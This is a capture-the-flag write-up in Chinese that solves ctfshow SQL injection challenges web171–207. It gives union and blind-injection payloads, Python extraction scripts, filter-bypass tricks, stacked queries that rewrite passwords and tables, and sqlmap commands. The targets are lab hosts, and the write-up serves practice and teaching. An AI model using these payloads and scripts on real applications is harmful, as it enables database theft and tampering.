WEB入门——sql注入

web171

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

加个注释符:

1'--+

order by语句测试有多少列,逐步缩小数字。3列的时候正确回显了数据,说明只有三列:

1' order by 4 --+
1' order by 3 --+

union语句来连接查询
1.查询数据库:

-1' union select database(),2,3 --+

WEB入门——sql注入.png

返回数据库名:ctfshow_web

2.查询表:

-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web" --+

WEB入门——sql注入-1.png

返回表名:ctfshow_user

3.查询列

-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name="ctfshow_user"--+

WEB入门——sql注入-2.png

返回列名:id,username,password

4.查询行

-1' union select password,2,3 from ctfshow_user--+

WEB入门——sql注入-3.png

web172

查询语句

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

过程:

1' order by 2 --+
-1' union select database(),2 --+
-1' union select group_concat(table_name),2 from information_schema.tables where table_schema="ctfshow_web" --+

返回:ctfshow_user,ctfshow_user2

-1' union select group_concat(column_name),2 from information_schema.columns where table_name="ctfshow_user"--+
-1' union select password,2 from ctfshow_user--+

没有

-1' union select password,2 from ctfshow_user2--+

有了

解释:

web173

1' order by 3 --+
-1' union select password,2,3 from ctfshow_user3--+

web174

返回逻辑

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

如果有数字或者flag他就不给回显

1' order by 2 --+

"a"替代之前的数字2

-1' union select database(),"a" --+

返回:ctfshow_web
思路1:替代

1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from information_schema.tables where table_schema="ctfshow_web" --+

返回:ctfshow_userD

1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(column_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from information_schema.columns where table_name="ctfshow_user4" --+

返回:id,username,password

1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+

flag在password里面:ctfshow{aFBcGaII-fFIE-DAJc-aDCc-fcGJaGAfJaEb}
将里面的数字用大写的英文代替
还原

str_flag = (input("输入"))
replace_flag = {'A': '1','B': '2','C': '3','D': '4','E': '5','F': '6','G': '7','H': '8','I': '9','J': '0'}
for i,k in replace_flag.items():
    str_flag = str_flag.replace(i,k)
print(str_flag)

思路2:
二分法布尔盲注:

import requests  
url = 'http://681aaaba-d6b2-4b8f-b8f2-e7987d0b74e3.challenge.ctf.show/api/v4.php'  
flag = ''  
for i in range(60):  
    lenth = len(flag)  
    min,max = 32,128  
    while True:  
        j = min + (max-min)//2  
        if(min == j):  
            flag += chr(j)  
            print(flag)  
            break  
        payload = f"?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{i},1))<{j},'True','False') --+"  
        r = requests.get(url=url+payload).text  
        if('True' in r):  
            max = j  
        else:  
            min = j

web175

查询语句

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

难点:把ascii码表中全部字符给禁了,因为过滤了\x00到\x7f,完全没有办法输出字符
解决:

思路1:时间盲注

import time
import requests
url = 'http://5adcc7d3-c4d3-440a-8f3e-a4b93e6b61e4.challenge.ctf.show/api/v5.php'
flag = ''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = f"?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),{i},1))<{j},sleep(0.5),'False') --+"
        start_time = time.time()
        r = requests.get(url=url+payload).text
        end_time = time.time()
        sub = end_time - start_time
        if(sub >= 0.5):
            max = j
        else:
            min = j

思路2:数据通过重定向的方式带到网站根目录

-1' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/flag.txt' --+

web176

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }
1' order by 3--+

先测试出来3行
难点:过滤了小写的select
解决:改成大写的:

1' union Select database(),2,3 --+
-1' union Select password,2,3 from ctfshow_user--+

web177

难点:过滤了空格
解决:用/**/,注释用#的url编码%23

-1'/**/union/**/select/**/password,2,3/**/from/**/ctfshow_user%23

web178

难点:不让用/**/
解决:用%09绕过

-1'%09union%09select%09password,2,3%09from%09ctfshow_user%23

web179

难点:不让用%09
解决:%0c来代替空格

-1'%0cunion%0cselect%0cpassword,2,3%0cfrom%0cctfshow_user%23

web180

难点:已知的能用的绕过空格方法都给过滤了
解决:用运算符方式构造万能密码

'or(id=26)and'1'='1

解析:
payload放入查询语句就是

where username !='flag' and id = ''or(id=26)and'1'='1' limit 1;";

然后因为flag的id是26,and的优先级比or高,上面的payload相当于

(username !='flag' and id = '') or (id=26and'1'='1')

WEB入门——sql注入-4.png

web181

返回逻辑:

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }
'or(id=26)and'1'='1

web182

返回逻辑:

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }
'or(id=26)and'1'='1

web183

查询语句:

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";

返回逻辑:

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

查询结果:

//返回用户表的记录总数
      $user_count = 0;

难点:过滤了=or
返回值为22,说明有22行数据
WEB入门——sql注入-5.png
解决:
空格的话用括号扩住来让语句正常执行
=like来替代,用where%来匹配数据

POST:

tableName=(ctfshow_user)where(pass)like'ctfshow%'

返回:1

import requests  
import urllib3  
urllib3.disable_warnings()  
  
url = "https://147eb4bf-8813-4515-bcff-a253596b959e.challenge.ctf.show/select-waf.php"  
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"  
flag = "ctfshow"  
for i in range(0, 666):  
    for j in str:  
        data = {"tableName": "(ctfshow_user)where(pass)like'{0}%'".format(flag + j)}  
        res = requests.post(url=url, data=data,verify=0)  
        if "$user_count = 1" in res.text:  
            flag += j  
            print(flag)  
            if j == "}":  
                exit()  
            break

web184

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

查询结果

//返回用户表的记录总数
      $user_count = 0;

难点:过滤了where、单引号、双引号
解决:
用"right join"右连接来把两个表连接起来进行查询pass字段
以右边的表为主,左边的表能匹配就加上,匹配不到就留空
后面的单引号可以用16进制编码绕过
ctfshow% 16进制编码后--> 0x63746673686f7725
POST:

tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686f7725
import requests  
import binascii  
import urllib3    
urllib3.disable_warnings()  
  
def to_hex(s):  
    # 字符串转16进制  
    str_16 = binascii.b2a_hex(s.encode('utf-8'))  
    str_16 = bytes.decode(str_16)  
    res = str_16.replace("b'", "").replace("'", "")  
    return res  
  
  
url = "https://06b853c3-695a-4e00-9c82-f68dbf84f1a9.challenge.ctf.show/select-waf.php"  
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"  
flag = "ctfshow"  
for i in range(0, 666):  
    for j in str:  
        result = "0x" + to_hex(flag + j + "%")  
        data = {"tableName": "ctfshow_user as a right join ctfshow_user as b on b.pass like {0}".format(result)}  
        res = requests.post(url=url, data=data,verify=0)  
        if "$user_count = 43" in res.text:  
            flag += j  
            print(flag)  
            if j == "}":  
                exit()  
            break

web185

返回逻辑

  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

难点:[0-9]没了
解决:构造出数字
在mysql中,sql语句true为1,true+true=2,所以通过相加,任何字母我们都可以构造出来
用concat()将字母拼接起来

import requests  
import urllib3  
urllib3.disable_warnings()  
  
def createNum(n):  
    str = 'true'  
    if n == 1:  
        return 'true'  
    else:  
        for i in range(n - 1):  
            str += "+true"  
    return str  
#把每一个字符转换成ascii码对应的数值  
def change_str(s):  
    str=""  
    str+="chr("+createNum(ord(s[0]))+")"  
    for i in s[1:]:  
        str+=",chr("+createNum(ord(i))+")"  
    return str  
  
url = "https://fd965c26-5c3e-4a37-bbfa-edea1ced9488.challenge.ctf.show/select-waf.php"  
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"  
flag = "ctfshow"  
for i in range(0,666):  
    for j in str:  
        result = change_str(flag + j + "%")  
        data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))".format(result)}  
        res = requests.post(url=url, data=data,verify=0)  
        if "$user_count = 43;" in res.text:  
            flag += j  
            print(flag)  
            if j=="}":  
                exit()  
            break

web186

返回逻辑:

function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

上一道题的脚本还是可以用

web187

查询语句:

//拼接sql语句查找指定ID用户
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";

返回逻辑:

$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
    $ret['msg']='用户名不存在';
    die(json_encode($ret));
}

md5()函数这里,后面用了参数true,返回的是一个16位二进制
解决:ffifdyop
ffifdyop在md5之后的值是276f722736c95d99e921722cf9ed621c,而这串进行hex之后'or'6É].é!r,ùíb.
会返回引号闭合和or并且后面是一些不可见字符,在mysql中进行布尔判断的时候,只要是数字开头就会被当作true,结果也就是

password=''or true

注意:
在mysql里面,在用作布尔型判断时,以数字开头的字符串会被当做整型数。
要注意的是这种情况是必须要有单引号括起来的
比如password='xxx' or '1xxxxxxxxx',那么就相当于password='xxx' or 1 ,也就相当于password='xxx' or true,所以返回值就是true
当然如果只有数字的话,就不需要单引号,比如password='xxx' or 1,那么返回值也是true
POST:

username=admin&password=ffifdyop

web188

查询语句:

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";

返回逻辑:

//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
	$ret['msg']='用户名非法';
	die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
	$ret['msg']='密码只能为数字';
	die(json_encode($ret));
}

//密码判断
if($row['pass']==intval($password)){
	$ret['msg']='登陆成功';
	array_push($ret['data'], array('flag'=>$flag));
}

解决:
POST:

username=0&password=0

解释:
传的是数字,比如 username=0,SQL 就是:

select pass from ctfshow_user where username = 0

MySQL 在字符串和数字比较时,会尝试把字符串转成数字

  • 'admin' → 转成数字?开头是字母 → 转为 0
  • 'test123' → 开头是字母 → 0
  • '123abc' → 开头是数字 → 123
  • '0xyz' → 0
    所有以非数字开头的字符串,在与数字比较时,都会被转换成 0!
    于是  $ row['pass'] 就会是第一条匹配记录的密码

密码验证是弱类型比较:

if( $ row['pass'] == intval( $ password)) {
    // 登录成功,返回 flag
}

intval( $ password) → 0
$ row['pass'] 是类似 'ctfshow{...}' 的字符串,是以字母开头的数据

'ctfshow{...}' == 0

成功通过!

web189

查询语句:

//拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";

返回逻辑:

  //用户名检测
  if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

题目给了flag在/api/index.php
这里用到的函数的load_file(),用法一般是select load_file(xxxx)

LOAD_FILE(file_name):读取文件并返回文件内容为字符串
要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限

regexp:mysql中的正则表达式操作符
这里就用load_file配合regexp来进行盲注,如果正则匹配到了,说明我们的第flag+str(j)是正确的,以此来得到flag,密码还是用0

容易想到默认路径是/var/www/html/api/index.php

import requests  
url = "http://6b192ef2-4913-4e4f-9236-28fae52729a9.challenge.ctf.show/api/index.php"  
all_str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"  
flag = "ctfshow{"  
for i in range(200):  
    for j in all_str:  
        data = {  
            "username":"if(load_file('/var/www/html/api/index.php')regexp('{0}'),0,1)".format(flag + j),  
            'password':0  
        }  
        res = requests.post(url=url, data=data, verify=0)  
        if r"\u5bc6\u7801\u9519\u8bef" in res.text:  
            flag +=j  
            print(flag)  
            break  
        if j=='}':  
            exit()

解释:

if r"\u5bc6\u7801\u9519\u8bef" in res.text:

判断 HTTP 响应内容(res.text)中是否包含字符串密码错误

web190

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'"; 

返回逻辑

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪

难点:没api/index.php,无法通过load_file()直接读到 flag
解决:

import requests  
  
url = 'http://97c72159-2ef5-43c6-84a4-3c12050f00f9.challenge.ctf.show/api/'  
flag = ''  
for i in range(100):  
    lenth = len(flag)  
    min = 32  
    max = 128  
    while True:  
        j = min + (max - min) // 2  
        if (min == j):  
            flag += chr(j)  
            print(flag)  
            if (len(flag) > 2 and chr(j) == ' '):  
                exit()  
            break  
        payload = f"' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},1,0)-- -"  # 取表名  
        data = {'username': payload  
            , 'password': 114514}  
        r = requests.post(url=url, data=data).text  
        if (r'\u5bc6\u7801\u9519\u8bef' in r):  
            max = j  
        else:  
            min = j

返回:

 ctfshow_fl0g,ctfshow_user 

换payload:

payload = f""" ' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="ctfshow_fl0g"),{i},1))<{j},1,0)-- -""" 

返回:

 id,f1ag 

换payload:

payload = f""" ' or if(ascii(substr((select f1ag from ctfshow_fl0g),{i},1))<{j},1,0)-- -"""  

返回结果

解析:
整个 WHERE 条件变成:

WHERE username = '' OR 1-- -   → 条件为真,查到用户
WHERE username = '' OR 0-- -   → 条件为假,查不到用户

web191

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

难点:过滤了ascii
解决:用ord

import requests  
url = 'http://d2e13eca-50a0-4b28-b5c5-eb9bb9e4f508.challenge.ctf.show/api/'  
flag = ''  
for i in range(100):  
    lenth = len(flag)  
    min = 32  
    max = 128  
    while True:  
        j = min + (max-min)//2  
        if(min == j):  
            flag += chr(j)  
            print(flag)  
            if(len(flag) > 2 and chr(j) == ' '):  
                exit()  
            break  
        payload=f"' or if(ord(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1))<{j},1,0)-- -"  
  
        data = {'username':payload  
                ,'password':114514}  
        r = requests.post(url=url,data=data).text  
        if(r'\u5bc6\u7801\u9519\u8bef' in r):  
            max = j  
        else:  
            min = j

web192

查询语句:

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑:

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

难点:过滤了ord
解决:用regexp

import requests  
url = "http://bb1977d3-8d8f-4291-8732-8b60a90804bc.challenge.ctf.show/api/"  
flag = ""  
all_str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"  
  
for i in range(1,99):  
    for j in all_str:  
        payload = "select group_concat(f1ag) from ctfshow_fl0g"  
        username_data = f"admin' and if(substr(({payload}), {i}, 1)regexp('{j}'), 1, 0)=1#"  
        data = {'username': username_data,  
                'password': 1}  
        res = requests.post(url=url, data=data, verify=False)  
        if "密码错误" in res.json()['msg']:  
            flag += j  
            print(flag)  
            break  
        if j == "}":  
            exit()

web193

查询语句:

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑:

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

难点:过滤了substr
解决:用正则来写,代码中的^代表从第一位开始匹配

import requests  
url = "http://9f7987ef-d86e-44fc-a719-46ddb6f476c6.challenge.ctf.show/api/"  
flag = ""  
all_str = "0123456789abcdefghijklmnopqrstuvwxyz-,_{}"  
  
for i in range(1,99):  
    for j in all_str:  
        #payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"  
        #payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'"        payload = "select group_concat(f1ag) from ctfshow_flxg"  
        username_data = "admin' and if(({0})regexp('^{1}'), 1, 0)=1#".format(payload, flag + j)  
        data = {'username': username_data,  
                'password': 1}  
        res = requests.post(url=url, data=data,verify=0)  
        if "密码错误" in res.json()['msg']:  
            flag += j  
            print(flag)  
            break  
        if j == "}":  
            exit()

web194

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

正则没有被过滤
用上一题脚本

import requests  
url = "http://9f7987ef-d86e-44fc-a719-46ddb6f476c6.challenge.ctf.show/api/"  
flag = ""  
all_str = "0123456789abcdefghijklmnopqrstuvwxyz-,_{}"  
  
for i in range(1,99):  
    for j in all_str:  
        #payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"  
        #payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'"        payload = "select group_concat(f1ag) from ctfshow_flxg"  
        username_data = "admin' and if(({0})regexp('^{1}'), 1, 0)=1#".format(payload, flag + j)  
        data = {'username': username_data,  
                'password': 1}  
        res = requests.post(url=url, data=data,verify=0)  
        if "密码错误" in res.json()['msg']:  
            flag += j  
            print(flag)  
            break  
        if j == "}":  
            exit()

web195

堆叠注入
分号;是用来表示一条sql语句的结束,而如果在一条sql语句结束后继续构造下一条sql语句,也会一起执行,从而产生了堆叠注入
查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

难点:把空格给过滤了
解决:采取反引号的方式执行
题目给出说明只要登录成功就可以获得flag,可以考虑使用update方法把数据库中的密码都更新成自己指定的密码,从而登录获取flag

0x61646d696e;update`ctfshow_user`set`pass`=123456

解释:
SQL 语句中$username没有被单引号包裹,直接拼接,所以传字符串必须“合法”
十六进制 0x... 是 MySQL 中表示字符串的合法方式,且无需引号
WEB入门——sql注入-6.png

web196

查询语句:

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑:

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|se1ect|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if(strlen($username)>16){
    $ret['msg']='用户名不能超过16个字符';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

解决:

username = 66;select(1111)
password = 1111

解释:
因为库中没有用户名为66的用户,所以查询后会返回后面的语句结果1111
1.第一条查不到数据
2.第二条 SELECT (1111) 返回了 1111
3.所以 $row = mysqli_fetch_row($result) 得到的是 [1111]
4.因此 $row[0] = 1111

我上传的 password = 1111,于是if (1111 == 1111)true → 登录成功,返回 flag!

web197

查询语句:

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑:

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

解决:
思路1:

username = 66;show tables  
password = ctfshow_user

思路2:

username = 1;alter table `ctfshow_user` change `pass` `feng` varchar(255); alter table `ctfshow_user` change `id` `pass` varchar(255)
  1. SELECT pass FROM ctfshow_user WHERE username = 1;
    → 可能查不到用户(无所谓)
  2. ALTER TABLE ctfshow_user CHANGE pass feng varchar(255);
    → 把原来的密码字段 pass 重命名为 feng
  3. ALTER TABLE ctfshow_user CHANGE id pass varchar(255);
    → 把原来的 id 字段 重命名为 pass
    假设原表结构是:
id      | username | pass
--------|----------|-----------
1       | admin    | ctfshow{...}

执行后变成:

pass    | username | feng
--------|----------|-----------
1       | admin    | ctfshow{...}

然后username = 0(匹配数据库中所有“以字母开头”的用户名)
password从1开始爆破,9可以了

思路3:

username = 0;insert ctfshow_user (username,pass)values(123,666)

然后用123和666登录

web198

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

依然可用上题payload打

username = 66;show tables  
password = ctfshow_user

web199

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

难点:过滤了(

username = 66;show tables  
password = ctfshow_user

web200

 //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

难点:过滤了,

username = 66;show tables  
password = ctfshow_user

sqlmap的使用

web201

sqlmap的使用
考点:
1.使用--user-agent 指定agent
2.使用--referer 绕过referer检查

解决:
设置 HTTP 请求头中的 Referer 字段为 ctf.show 绕过referer检查
查数据库名:

sqlmap -u "http://1b46005d-5008-4cf9-a958-8e6d570bfc68.challenge.ctf.show/api/?id=1" --referer="ctf.show" --dbs

返回

[03:11:16] [INFO] fetching database names
available databases [5]:
[*] ctfshow_web
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

查表名:

sqlmap -u "http://1b46005d-5008-4cf9-a958-8e6d570bfc68.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web --tables

返回:

[03:16:31] [INFO] fetching tables for database: 'ctfshow_web'
Database: ctfshow_web
[1 table]
+--------------+
| ctfshow_user |
+--------------+

查列名:

sqlmap -u "http://1b46005d-5008-4cf9-a958-8e6d570bfc68.challenge.ctf.show/api/?id=1" \
       --referer="ctf.show" \
       -D ctfshow_web \
       -T ctfshow_user \
       --columns

返回:

[03:17:56] [INFO] fetching columns for table 'ctfshow_user' in database 'ctfshow_web'
Database: ctfshow_web
Table: ctfshow_user
[3 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int(11)      |
| pass     | varchar(255) |
| username | varchar(255) |
+----------+--------------+

导出整张表的数据:
dump出所有行的内容

sqlmap -u "http://1b46005d-5008-4cf9-a958-8e6d570bfc68.challenge.ctf.show/api/?id=1" \
       --referer="ctf.show" \
       -D ctfshow_web \
       -T ctfshow_user \
       --dump

dumppass:

sqlmap -u "http://1b46005d-5008-4cf9-a958-8e6d570bfc68.challenge.ctf.show/api/?id=1" \
       --referer="ctf.show" \
       -D ctfshow_web \
       -T ctfshow_user \
       -C pass \
       --dump

web202

使用--data 调整sqlmap的请求方式

sqlmap -u "https://b7e0a3b0-a336-4249-a724-aec9b9f46713.challenge.ctf.show/api/" \
       --data="id=1"\
       --referer="ctf.show" \
       -D ctfshow_web \
       -T ctfshow_user \
       -C pass \
       --dump

web203

使用--method 调整sqlmap的请求方式
 后端只在 index.php 中处理 PUT 请求并存在 SQL 注入点
要设置Content-Type头,否则提交会变成表单提交

sqlmap -u "http://d7956bf1-4fbb-4a8c-a9e1-43ca3ac9e6fc.challenge.ctf.show/api/index.php" \
       --method="PUT" \
       --data="id=1" \
       --referer="ctf.show" \
       --headers="Content-Type: text/plain" \
       -D ctfshow_web \
       -T ctfshow_user \
       -C pass \
       --dump

web204

使用--cookie 提交cookie数据

sqlmap -u "http://82a37c45-380b-4412-a7c5-e46d3f9ea043.challenge.ctf.show/api/index.php" \
       --method="PUT" \
       --data="id=1" \
       --referer="ctf.show" \
       --headers="Content-Type: text/plain" \
       --cookie="PHPSESSID=v4bm1ikv8b8n91a7e4egnabb4j; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
       -D ctfshow_web \
       -T ctfshow_user \
       -C pass \
       --dump

web205

api调用需要鉴权
每次请求api的时候首先会去请求一次getToken.php
WEB入门——sql注入-7.png

解决:
sqlmap中提供了以下两个参数
--safe-url提供一个安全不错误的连接,每隔一段时间都会去访问一下
--safe-freq提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数

sqlmap -u "http://6cef770a-6e22-483e-8af3-44d497f15f3f.challenge.ctf.show/api/index.php" \
       --method="PUT" \
       --data="id=1" \
       --referer="ctf.show" \
       --headers="Content-Type: text/plain" \
       --cookie="PHPSESSID=eqjcnpiek7hn1a0h541r3aeife; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
       --safe-url="http://6cef770a-6e22-483e-8af3-44d497f15f3f.challenge.ctf.show/api/getToken.php" \
       --safe-freq=1 \
       -D ctfshow_web \
       -T ctfshow_flax \
       -C flagx \
       --dump

web206

sql需要闭合
直接用之前代码

sqlmap -u "http://09bc93ac-eee0-434a-80ea-ede2d58e3dcc.challenge.ctf.show/api/index.php" \
       --method="PUT" \
       --data="id=1" \
       --referer="ctf.show" \
       --headers="Content-Type: text/plain" \
       --cookie="PHPSESSID=eqjcnpiek7hn1a0h541r3aeife; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
       --safe-url="http://09bc93ac-eee0-434a-80ea-ede2d58e3dcc.challenge.ctf.show/api/getToken.php" \
       --safe-freq=1 \
       -D ctfshow_web \
       -T ctfshow_flaxc \
       -C flagv \
       --dump

web207

//对传入的参数进行了过滤
  function waf($str){
   return preg_match('/ /', $str);
  }

需要把一个绕waf的脚本,里面的空格,改成绕空格的,比如%09?
sqlmap tamper脚本
